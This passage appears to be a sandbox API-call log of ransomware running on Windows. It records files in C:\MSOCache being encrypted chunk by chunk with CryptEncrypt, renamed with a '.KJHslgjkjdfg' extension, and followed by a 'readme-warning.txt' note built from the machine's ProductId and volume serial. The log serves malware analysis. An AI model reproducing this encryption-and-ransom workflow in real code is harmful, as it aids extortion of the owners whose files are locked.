dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.050] GetProcessHeap () returned 0x990000 [0161.050] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0161.050] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0161.050] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.050] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0161.050] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0161.050] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0161.050] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0161.051] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0161.051] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0161.051] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0161.051] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.051] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.051] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.059] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.064] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.064] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.065] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd49ef14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.065] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.065] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.065] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.070] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.074] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.074] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.076] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd49ef14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.076] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.076] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd45ee40, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.076] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.081] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.083] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd45ee40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.083] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.084] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd49ef14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.084] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.084] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.084] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd49ef14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.085] SetEndOfFile (hFile=0x124) returned 1 [0161.087] GetProcessHeap () returned 0x990000 [0161.087] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0161.087] GetProcessHeap () returned 0x990000 [0161.087] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0161.088] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.kjhslgjkjdfg")) returned 1 [0161.088] CloseHandle (hObject=0x124) returned 1 [0161.088] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0161.088] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0161.088] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0161.090] GetProcessHeap () returned 0x990000 [0161.090] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0161.090] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0161.090] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0161.090] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xa, lpOverlapped=0x0) returned 1 [0161.092] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0161.092] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.092] GetProcessHeap () returned 0x990000 [0161.092] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0161.092] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0161.092] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.092] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0161.092] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0161.093] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0161.093] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0161.093] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0161.093] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0161.093] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0161.093] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.093] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.093] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7976, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x7976, lpOverlapped=0x0) returned 1 [0161.094] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x7980, dwBufLen=0x7980 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x7980) returned 1 [0161.094] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.094] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x7980, lpOverlapped=0x0) returned 1 [0161.095] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.095] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7a44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.095] SetEndOfFile (hFile=0x124) returned 1 [0161.097] GetProcessHeap () returned 0x990000 [0161.097] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0161.097] GetProcessHeap () returned 0x990000 [0161.097] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0161.097] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0161.098] CloseHandle (hObject=0x124) returned 1 [0161.098] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0161.098] GetProcessHeap () returned 0x990000 [0161.098] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0161.098] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0161.098] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df330 | out: pbData=0x9af7b0, pdwDataLen=0x29df330) returned 1 [0161.098] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.098] GetProcessHeap () returned 0x990000 [0161.098] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0161.098] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0161.098] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df330 | out: pbData=0x9af7f8, pdwDataLen=0x29df330) returned 1 [0161.098] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.098] GetProcessHeap () returned 0x990000 [0161.098] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9dc8a8 [0161.098] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0161.098] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9dc8a8, pdwDataLen=0x29df330 | out: pbData=0x9dc8a8, pdwDataLen=0x29df330) returned 1 [0161.098] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.098] GetProcessHeap () returned 0x990000 [0161.098] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0161.098] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0161.098] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29def10 | out: pbData=0x9af840, pdwDataLen=0x29def10) returned 1 [0161.098] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.099] GetProcessHeap () returned 0x990000 [0161.099] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0161.099] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0161.099] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29def10 | out: pbData=0x9b1918, pdwDataLen=0x29def10) returned 1 [0161.099] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.099] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29def0c | out: phkResult=0x29def0c*=0x124) returned 0x0 [0161.099] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29def18, lpcbData=0x29def14*=0x400 | out: lpType=0x0, lpData=0x29def18*=0x30, lpcbData=0x29def14*=0x18) returned 0x0 [0161.099] RegCloseKey (hKey=0x124) returned 0x0 [0161.099] GetProcessHeap () returned 0x990000 [0161.099] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0161.099] GetProcessHeap () returned 0x990000 [0161.099] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0161.099] GetProcessHeap () returned 0x990000 [0161.099] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0161.099] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0161.099] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dece4 | out: pbData=0x9b1918, pdwDataLen=0x29dece4) returned 1 [0161.099] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.099] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0161.099] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0161.100] GetProcessHeap () returned 0x990000 [0161.100] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0161.100] wsprintfA (in: param_1=0x29def2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0161.100] wsprintfA (in: param_1=0x29df33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0161.100] GetProcessHeap () returned 0x990000 [0161.100] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0161.100] wsprintfW (in: param_1=0x29de30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0161.100] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0161.102] WriteFile (in: hFile=0x124, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de308, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29de308*=0x3b3, lpOverlapped=0x0) returned 1 [0161.103] CloseHandle (hObject=0x124) returned 1 [0161.103] GetProcessHeap () returned 0x990000 [0161.103] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc8a8 | out: hHeap=0x990000) returned 1 [0161.103] GetProcessHeap () returned 0x990000 [0161.103] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0161.103] GetProcessHeap () returned 0x990000 [0161.103] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0161.103] GetProcessHeap () returned 0x990000 [0161.103] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0161.103] FindClose (in: hFindFile=0x9b6528 | out: hFindFile=0x9b6528) returned 1 [0161.104] GetProcessHeap () returned 0x990000 [0161.104] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc610 | out: hHeap=0x990000) returned 1 [0161.104] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~3")) returned 1 [0161.104] GetProcessHeap () returned 0x990000 [0161.104] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b2468 [0161.104] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6528 [0161.106] GetProcessHeap () returned 0x990000 [0161.106] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0161.106] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0161.106] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0161.106] GetProcessHeap () returned 0x990000 [0161.106] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9dc610 [0161.106] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0161.107] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=1992192) returned 1 [0161.107] GetProcessHeap () returned 0x990000 [0161.107] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0161.107] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0161.107] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.107] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, 